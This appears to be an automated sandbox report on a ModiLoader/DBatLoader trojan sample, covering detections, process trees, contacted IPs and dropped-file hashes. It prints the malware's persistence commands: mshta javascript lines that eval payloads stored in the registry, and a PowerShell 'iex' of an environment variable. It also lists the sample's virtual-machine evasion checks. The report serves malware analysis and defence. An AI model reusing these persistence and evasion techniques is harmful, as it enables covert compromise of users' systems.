Malware Analysis Report

2024-08-06 14:02

Sample ID 240614-a8qpxsyckb
Target a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118
SHA256 34aca71a998e63a9d667689182ed87a380e4a61587faae601da678938d0c8b1c
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

34aca71a998e63a9d667689182ed87a380e4a61587faae601da678938d0c8b1c

Threat Level: Known bad

The file a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

Process spawned unexpected child process

ModiLoader, DBatLoader

Checks for common network interception software

ModiLoader Second Stage

Looks for VirtualBox drivers on disk

Looks for VirtualBox Guest Additions in registry

Looks for VMWare Tools registry key

Drops startup file

Deletes itself

Checks computer location settings

Checks BIOS information in registry

Maps connected drives based on registry

Adds Run key to start application

Suspicious use of SetThreadContext

Drops file in System32 directory

Unsigned PE

Enumerates physical storage devices

Suspicious use of SetWindowsHookEx

Modifies Internet Explorer settings

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: MapViewOfSection

Modifies registry class

Suspicious use of WriteProcessMemory

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-06-14 00:53

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 00:53

Reported

2024-06-14 00:55

Platform

win7-20240221-en

Max time kernel

150s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\daaa61.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\66a1e6\\730ec6.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Ogv6iWP2W=\"1\";E58N=new%20ActiveXObject(\"WScript.Shell\");VfMA3tMu=\"ZA\";M5Ok7y=E58N.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\kyveu\\\\vnzu\");HN3gWfX=\"A\";eval(M5Ok7y);cqInSdv6A3=\"mQfV\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Ug0TVIwqP6=\"GpuIbHAg\";U41d=new%20ActiveXObject(\"WScript.Shell\");cVCR5Cm=\"W\";Dsa3g=U41d.RegRead(\"HKCU\\\\software\\\\kyveu\\\\vnzu\");ygPNkx4Hd=\"XP0nu\";eval(Dsa3g);KP5Uz8dmqg=\"m\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\455c80\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\455c80\shell\open\command\ = "mshta \"javascript:wUmHRX9L=\"YP3SxL\";r4c=new ActiveXObject(\"WScript.Shell\");djQw6id=\"PTypvi0\";EWUd49=r4c.RegRead(\"HKCU\\\\software\\\\kyveu\\\\vnzu\");d0g3yOjE=\"Y\";eval(EWUd49);oIm9cyJaW7=\"Hui\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\.54ebcef C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\.54ebcef\ = "455c80" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\455c80 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\455c80\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\455c80\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1096 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 1096 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 1096 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 1096 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 1096 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 1096 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 1096 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 1096 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 1096 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 1096 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 1096 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 2672 wrote to memory of 2628 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2672 wrote to memory of 2628 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2672 wrote to memory of 2628 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2672 wrote to memory of 2628 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2628 wrote to memory of 2692 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2628 wrote to memory of 2692 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2628 wrote to memory of 2692 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2628 wrote to memory of 2692 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2628 wrote to memory of 2692 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2628 wrote to memory of 2692 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2628 wrote to memory of 2692 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2628 wrote to memory of 2692 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2692 wrote to memory of 2208 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2692 wrote to memory of 2208 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2692 wrote to memory of 2208 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2692 wrote to memory of 2208 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2692 wrote to memory of 2208 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2692 wrote to memory of 2208 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2692 wrote to memory of 2208 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2692 wrote to memory of 2208 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:rczm94kN="u";Kp7=new%20ActiveXObject("WScript.Shell");ep36Eehw="NdH6qp";lB5V4Q=Kp7.RegRead("HKLM\\software\\Wow6432Node\\aThXocDV7\\MvgVwMLnN");gE7IJTca3="JGU";eval(lB5V4Q);C3Urwq8fBH="FN";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:iygjhsc

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 76.158.117.241:80 tcp
MA 196.121.124.233:80 tcp
ES 88.14.195.62:80 tcp
FR 86.201.255.174:80 tcp
US 143.10.158.172:443 tcp
US 76.142.61.72:80 tcp
FR 163.78.99.52:80 tcp
US 67.145.37.92:80 tcp
KR 123.42.152.238:80 tcp
US 72.163.247.92:443 tcp
US 104.48.86.130:80 tcp
JP 126.31.57.118:80 tcp
US 128.143.173.224:80 tcp
LU 62.62.109.5:80 tcp
BR 177.146.22.231:80 tcp
HR 87.252.129.9:80 tcp
JP 111.105.111.170:443 tcp
AU 202.93.176.223:80 tcp
FR 163.83.225.149:80 tcp
US 130.215.121.9:80 tcp
IE 137.135.222.244:80 tcp
US 34.239.146.168:80 tcp
US 82.87.186.67:8080 tcp
DE 84.182.3.226:80 tcp
US 214.251.174.140:80 tcp
US 23.77.189.97:80 tcp
US 64.92.105.203:80 tcp
US 169.177.114.117:80 tcp
FR 91.91.187.56:80 tcp
N/A 127.152.241.57:80 tcp
US 205.226.140.246:8080 tcp
US 35.165.237.230:80 tcp
US 165.123.34.13:80 tcp
ES 80.35.225.168:80 tcp
CN 42.97.167.208:8080 tcp
US 30.224.63.177:80 tcp
US 172.221.217.8:80 tcp
US 144.254.244.134:80 tcp
US 74.109.61.237:80 tcp
US 24.223.185.147:80 tcp
US 214.232.246.187:80 tcp
FR 90.89.92.86:80 tcp
US 70.128.205.58:80 tcp
IN 18.66.71.26:80 tcp
IN 18.66.71.26:80 18.66.71.26 tcp
US 168.222.196.20:80 tcp
US 8.1.28.54:80 tcp
US 67.28.232.201:80 tcp
SG 202.166.136.115:80 tcp
GB 92.19.156.132:80 tcp
CN 116.16.234.132:80 tcp
IT 88.32.42.105:80 tcp
US 157.176.186.118:80 tcp
CN 118.29.73.63:80 tcp
US 63.204.186.67:80 tcp
US 153.40.4.108:80 tcp
US 104.29.139.27:80 tcp
CN 42.129.17.229:80 tcp
US 143.214.229.166:80 tcp
KR 112.77.231.75:80 tcp
PL 178.181.114.108:80 tcp
IT 91.254.117.80:80 tcp
CN 116.154.36.94:443 tcp
US 75.65.247.156:80 tcp
CA 142.210.7.246:80 tcp
KR 112.160.139.57:80 tcp
VN 14.170.51.210:80 tcp
JP 111.103.110.175:80 tcp
FR 77.195.71.202:80 tcp
GB 185.253.89.231:80 tcp
DE 63.190.42.213:8080 tcp
ES 185.108.206.226:8080 tcp
AU 203.47.109.168:80 tcp
FR 86.223.155.83:80 tcp
US 134.113.206.204:80 tcp
GH 154.160.213.130:443 tcp
RU 94.198.36.43:443 tcp
US 98.162.95.86:80 tcp
US 52.254.149.147:8080 tcp
US 104.206.219.201:80 tcp
US 65.234.7.203:80 tcp
GB 82.46.121.63:80 tcp
US 38.76.67.110:443 tcp
JP 133.21.231.246:80 tcp
US 68.116.22.40:80 tcp
US 108.76.38.17:80 tcp
PL 5.104.252.147:80 tcp
US 76.226.122.107:80 tcp
GB 25.76.61.114:80 tcp
JP 61.207.137.23:80 tcp
CN 210.78.233.31:80 tcp
N/A 172.24.16.141:80 tcp
NZ 57.70.141.40:80 tcp
GB 25.155.101.119:80 tcp
US 28.82.168.168:80 tcp
GB 80.229.225.134:80 tcp
CN 110.192.111.140:80 tcp
N/A 10.166.175.39:443 tcp
IE 54.72.184.32:80 tcp
US 30.69.111.119:8080 tcp
MX 189.223.55.2:8080 tcp
US 169.120.241.217:80 tcp
US 143.166.174.58:80 tcp
US 11.63.110.133:80 tcp
TH 111.84.187.34:80 tcp
US 184.1.23.42:80 tcp
CN 153.3.31.152:80 tcp
US 208.245.145.149:80 tcp
VN 14.165.81.144:80 tcp
US 173.134.35.229:80 tcp
HK 193.82.124.3:80 tcp
US 207.45.217.198:80 tcp
US 168.129.6.77:8080 tcp
KR 211.60.122.24:80 tcp
NO 178.29.7.88:80 tcp
US 161.133.151.111:80 tcp
JP 106.147.45.84:80 tcp
GB 45.143.118.168:8080 tcp
US 160.39.154.43:443 tcp
BR 201.33.248.154:80 tcp
US 32.85.176.32:80 tcp
CN 115.199.114.85:80 tcp
US 24.174.202.157:80 tcp
CN 222.71.199.68:80 tcp
JP 126.85.174.71:80 tcp
PT 85.243.139.12:80 tcp
US 204.177.96.18:80 tcp
GB 92.28.239.123:8080 tcp
CN 117.130.224.41:8080 tcp
IL 94.159.141.247:80 tcp
CH 146.159.158.232:80 tcp
US 7.12.186.166:8080 tcp
US 21.30.223.218:443 tcp
US 52.138.127.109:80 tcp
US 143.69.56.207:80 tcp
GB 139.153.24.52:80 tcp
US 100.63.171.139:80 tcp
JP 182.166.233.218:8080 tcp
US 76.157.15.242:80 tcp
KR 42.36.86.123:80 tcp
CA 205.250.46.170:443 tcp
CA 209.204.229.203:80 tcp
SE 79.72.124.38:80 tcp
US 29.65.238.247:80 tcp
US 154.64.19.140:80 tcp
GB 86.184.131.45:443 tcp
CN 218.194.64.144:80 tcp
RU 37.28.164.54:80 tcp

Files

memory/1728-3-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1728-7-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1728-8-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1728-9-0x0000000001DF0000-0x0000000001EC4000-memory.dmp

memory/1728-13-0x0000000001DF0000-0x0000000001EC4000-memory.dmp

memory/1728-12-0x0000000001DF0000-0x0000000001EC4000-memory.dmp

memory/1728-11-0x0000000001DF0000-0x0000000001EC4000-memory.dmp

memory/1728-10-0x0000000001DF0000-0x0000000001EC4000-memory.dmp

memory/1728-14-0x0000000001DF0000-0x0000000001EC4000-memory.dmp

memory/1728-15-0x0000000001DF0000-0x0000000001EC4000-memory.dmp

memory/2628-24-0x0000000006290000-0x0000000006364000-memory.dmp

memory/2692-28-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-26-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-35-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-33-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-52-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-51-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-50-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-49-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-48-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-47-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-46-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-45-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-44-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-43-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-42-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-41-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-40-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-39-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-38-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-37-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-36-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-34-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-32-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-31-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-30-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2628-29-0x0000000006290000-0x0000000006364000-memory.dmp

memory/2692-62-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-69-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2628-27-0x0000000002EE0000-0x0000000004EE0000-memory.dmp

memory/2692-61-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-60-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-59-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-58-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2692-57-0x00000000001C0000-0x00000000002FE000-memory.dmp

memory/2208-71-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-84-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-83-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-82-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-81-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-80-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-79-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-78-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-77-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-76-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-75-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-74-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-73-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-72-0x0000000000270000-0x00000000003AE000-memory.dmp

memory/2208-70-0x0000000000270000-0x00000000003AE000-memory.dmp

C:\Users\Admin\AppData\Local\66a1e6\9d0e99.bat

MD5 fee145988b03ddac71ed154b5117d9d3
SHA1 bbea418c35343ee6a01526675e95121d22b24f0d
SHA256 36fa6dfa6667111610585bdab4680341e6e4193ee612e3cca3272811007c6524
SHA512 3e5300e89ccf0d73f4ec9746801e72ac58823d53fb5979105d804c4152525492fcb8540e9905289258e41009b7ddf2aa3707dcc40b52511c4cd24eab428ddef2

C:\Users\Admin\AppData\Local\66a1e6\a56505.54ebcef

MD5 27dbe1018cf66ca6afa91aa74e694b2d
SHA1 182b5e3b67de745cade31332cbd1b387ddd8f12b
SHA256 45b90dcba4980cceeec9a50cdb356040d9f51975fa1ce9b33cb7db6f15bfc553
SHA512 366b22ed33106e1712849568e03d43d58c440121e89fb1ed7a794399c2a71b7f61466a8944c651479e977fae4e889f2b0d048af2006fa040f228067301fe61a3

C:\Users\Admin\AppData\Local\66a1e6\730ec6.lnk

MD5 25931e2579dc6ab3d57a280a75882e6a
SHA1 77458626f8bf9f8a6d524b25b218e85562f15b49
SHA256 0d8d862a6c0c144a548b627a5c896098b9ee816eb57fd59da7c224fff74ffd56
SHA512 f3dc325390389972ab9b22096860c9355a30ddd46a1778b5255faed3b9c28230f1e67cb71743ad5edb7ca8b97c2828092c6a56b70006b5f5461f73d10312b32c

C:\Users\Admin\AppData\Roaming\849415\7ed68e.54ebcef

MD5 aaad8890ebc9616f04949720f02694f2
SHA1 4d9ee6c8daec5837c2b5804f2bc5427a6bc53c5f
SHA256 fca96230bc3c883343675681544ad10e09b7b507b546d32147c416bc9a21f0d8
SHA512 c7b0d9c9b199fd5f5fc532cffed50c4dada9d82da62b6911cdce50f52e8ce610c9752eb764498915ad07b1deb530bd2e1ec45d2f9643ba3430c87a816d0d593e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\daaa61.lnk

MD5 0eae4b7109bbef8cebc3acf4af10f761
SHA1 17fefea75eca31b7e9df0a4ee6ab4f7a4608592f
SHA256 61cf9319c2dba9a5fcb551af7c1ab09b5f63e8e605ecc9fcf9c01465ddea4b81
SHA512 77815a067c4a1ca88779e9bee3c8cf0f0f771371d53630b6db3b5d7175be25efab246e830e963eb99101706768eac2e2e3d3dfd2514d2d5c8939288bda1d48ac

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-14 00:53

Reported

2024-06-14 00:55

Platform

win10v2004-20240508-en

Max time kernel

147s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3792 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 3792 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 3792 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 3792 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
